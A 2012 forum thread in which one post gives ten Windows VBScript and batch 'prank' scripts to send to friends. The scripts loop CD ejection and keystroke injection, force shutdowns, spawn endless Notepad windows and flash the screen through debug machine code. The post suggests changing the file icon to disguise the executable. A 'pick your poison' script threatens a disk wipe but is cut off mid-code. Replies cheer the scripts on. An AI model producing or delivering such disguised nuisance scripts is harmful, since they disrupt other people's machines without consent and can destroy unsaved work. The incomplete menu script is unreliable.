InTheEndॐ Posted June 11, 2012 Posted June 11, 2012 All this comand use to type in notepad 1)Continually pop out your friend's CD Drive. If he / she has more than one, it pops out all of them! Type : Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count - 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop Save it as "Anything.VBS" and send it. 2) Toggle your friend's Caps Lock button simultaneously: Type : Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop Save it as "Anything.VBS" and send it. 3) Convey your friend a lil' message and shut down his / her computer: Type : @echo off msg * I don't like you shutdown -c "Error! You are too stupid!" -s Save it as "Anything.BAT" in All Files and send it. 4) Frustrate your friend by making this VBScript hit Enter simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop Save it as "Anything.VBS" and send it. 5) Open Notepad, slowly type "Hello, how are you? I am good thanks" and freak your friend out: Type : WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 100 WshShell.AppActivate "Notepad" WScript.Sleep 500 WshShell.SendKeys "Hel" WScript.Sleep 500 WshShell.SendKeys "lo " WScript.Sleep 500 WshShell.SendKeys ", ho" WScript.Sleep 500 WshShell.SendKeys "w a" WScript.Sleep 500 WshShell.SendKeys "re " WScript.Sleep 500 WshShell.SendKeys "you" WScript.Sleep 500 WshShell.SendKeys "? " WScript.Sleep 500 WshShell.SendKeys "I a" WScript.Sleep 500 WshShell.SendKeys "m g" WScript.Sleep 500 WshShell.SendKeys "ood" WScript.Sleep 500 WshShell.SendKeys " th" WScript.Sleep 500 WshShell.SendKeys "ank" WScript.Sleep 500 WshShell.SendKeys "s! " Save it as "Anything.VBS" and send it. 6) Frustrate your friend by making this VBScript hit Backspace simultaneously: Type : MsgBox "Let's go back a few steps" Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{bs}" loop Save it as "Anything.VBS" and send it. 7) Hack your friend's keyboard and make him type "You are a fool" simultaneously: Type : Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "You are a fool." loop Save it as "Anything.VBS" and send it. 8. Open Notepad continually in your friend's computer: Type : @ECHO off :top START %SystemRoot%\system32\notepad.exe GOTO top Save it as "Anything.BAT" and send it. 9) Hard prank: Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action: 1: Shutdown 2: Restart 3: Wipes out your hard drive (BEWARE) 4: Net send 5: Messages then shutdown Type : @echo off title The end of the world cd C:\ :menu cls echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc... pause echo Pick your poison: echo 1. Die this way (Wimp) echo 2. Die this way (WIMP!) echo 3. DO NOT DIE THIS WAY echo 4. Die this way (you're boring) echo 5. Easy way out set input=nothing set /p input=Choice: if %input%==1 goto one if %input%==2 goto two Save it as "Anything.BAT" and send it. You might wanna have to change the Icon of the file before sending it to your friend, so right click the file, click Properties, click on the 'Change' Icon and change the icon from there. 10) THRETEN BY MAKING SCREEN FLASH To make a really cool batch file that can make your entire screen flash random colors until you hit a key to stop it, simply copy and paste the following code into notepad and then save it as a .bat file. @echo off echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE. @echo off :a echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg echo g=100>>\z.dbg echo q>>\z.dbg debug <\z.dbg>nul del \z.dbg goto a To disable error (ctrl+shirt+esc) then end process wscript.exe Credits: hackhosting.com Quote
panoskouf Posted September 23, 2012 Posted September 23, 2012 Awesome :) I;m going to have so much fun with this. Quote
InTheEndॐ Posted September 23, 2012 Author Posted September 23, 2012 Awesome :) I;m going to have so much fun with this. I had too :) Quote
GOld3x Posted September 23, 2012 Posted September 23, 2012 Already shared from karmarrows. Anyway thanks ;) Quote
InTheEndॐ Posted September 23, 2012 Author Posted September 23, 2012 Already shared from karmarrows. Anyway thanks ;) Link or never happend. Quote
GOld3x Posted September 23, 2012 Posted September 23, 2012 Link or never happend. Topic not found,it was sticky at off-topics. Never happend. Thanks again for your share :P Quote
nicofelice93 Posted February 17, 2013 Posted February 17, 2013 Are really funny : ). But there aren't virus.. Triks for friend's etc. : ) Quote
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